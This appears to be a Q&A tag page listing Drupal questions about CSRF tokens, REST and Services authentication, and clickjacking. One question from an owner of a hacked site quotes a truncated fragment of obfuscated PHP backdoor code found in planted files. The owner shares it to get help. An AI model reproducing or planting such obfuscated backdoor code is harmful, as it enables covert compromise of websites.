Questions tagged [csrf]
Cross-site request forgery, also known as a one-click attack or session riding, is a type of malicious exploit of a website.
20
questions
0
votes
2answers
27 views
Fix for “'csrf_token' URL query argument is invalid” error during logout
I am creating a set of API endpoints for a mobile app using Rest. For User authentication, I am using the default API endpoints supplied by Drupal. That would be
/user/logout?_format=json&token=&...
0
votes
0answers
30 views
+50
Invalid CSRF token using flag.link_builder service (Flag module)
I have a REST route that returns a list of user accounts. I have a flag setup called 'following' as you can follow and unfollow other members. In my REST route, I use:
$flag_link = \Drupal::service('...
0
votes
0answers
82 views
get csrf token using guzzle client
I am trying to get CSRF token using Guzzle http client, In Drupal we can get the session token on navigating to http://xxxdrupal.com/rest/session/token, When I open this in browser I can get the token....
2
votes
1answer
948 views
How to get the JWT token via webservice
After enabling the JWT module. and following Using JSON Web Tokens (JWT) to Authenticate Requests to REST Resources in Drupal 8 on how to use it, it is working.
I know I can access the user JWT ...
0
votes
1answer
3k views
Request header field X-CSRF-Token is not allowed by Access-Control-Allow-Headers in preflight response for Drupal 7 REST API
I have few APIs created in Drupal 7 which uses session authentication. Now when I get the CSRF token and try to use it in my API call, I get following error:
Request header field X-CSRF-Token is not ...
1
vote
1answer
869 views
How to handle session for anonymous users for CSRF tokens?
I need to provide list of CSRF tokens in drupalSettings for every anonymous user so JS can make safe requests to api endpoints.
The CSRF service mentions the need for session to exist for the seed ...
0
votes
1answer
676 views
Unauthorized : CSRF validation failed issue for Logged in user
I need to hide button for Logged in user. For that I have written the following code in dashboard.js file.
Code working fine for anonymous user. But not working for Logged in user.
$(document).on("...
1
vote
0answers
367 views
“CSRF validation failed” using “Session Token authentication only”
Having problem in CSRF validation when using Session Token authentication only using services_session_token_auth 7.x-1.x-dev module.
already set the token but it keeps throwing CSRF validation failed....
-1
votes
1answer
225 views
How to fix “Clickjacking”?
I have got this vulnerability "#150124 Clickjacking - Framable Page". Can anyone suggest how to fix this vulnerability for a Drupal 6 site?
5
votes
2answers
3k views
Generating URL with CSRF token
I have a route that requires a CSRF token:
mp.ajax.authorized:
path: /mp/ajax/authorized
defaults:
_controller: 'Drupal\mp\Controller\AjaxController::authorizedCallback'
requirements:
...
0
votes
1answer
909 views
Login Users sessions persistence using Services and Rest Server modules
I'm having a heck of a time creating drupal services from angular hitting the rest server. I created a rest end point for all my authentication needs, configured in the Service module. When I use ...
-1
votes
2answers
599 views
Get user ID from CSRF token
Is there any way how can I programmatically get user ID from CSRF token?
I'm using web service and need to update user data according to user token.
0
votes
1answer
497 views
CSRF token not working (access denied)
I can get CSRF token to be generated on particular route by putting _crsf_token in a routing file, but on visiting that route , I keep getting an Access Denied error.
Removing CSRF token line from ...
2
votes
1answer
502 views
Services CSRF Token request security
A Drupal website that my company is maintaining has a REST endpoint, using Drupal Services (likely not that relevant). One of the systems that I'm writing has to write changes in the system to that ...
2
votes
3answers
642 views
Menu Callback and CSRF
How can I get a link with the correct csrf token for an internal path? Here is what I have:
in mymodule.routing.yml
mymodule.test:
path: '/mymodule-test'
defaults:
_content: 'Drupal\mymodule\...
2
votes
1answer
179 views
My site is hacked [duplicate]
It looks like my Drupal site is hacked, I see lot of new files in my web-sever containing following code:
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$...
0
votes
2answers
3k views
Services 3 Session authentication CSRF Validation with Persistent Log in
I am trying to use Services 7.x-3.11, the latest stable available to authenticate and access Drupal 7.34. Accessing from mobile devices with Native coding. I want to keep the user authenticated ...
1
vote
2answers
628 views
csrfToken: reget without logout user
I have a site where I use AngularJS to connect to Services module paths.
Now, we know that I need to send (for every put connection) the CSRF token into headers request, and this token is linked to ...
2
votes
1answer
6k views
Problems with Services and CSRF token
I've been trying to create a user via webservice without doing any custom coding or curl.
This post got me 75% there: How to create test_endpoint?
I finally got it working, but only by passing in my ...
2
votes
1answer
2k views
Creating a node with PHP cURL client returns 401 error - X-CSRF token always empty [closed]
A recent update to Services and Drupal requires a csrf token, and it broke the PHP cURL client samples.
I am trying the sample code for Services to:
Create a node here https://drupal.org/node/...
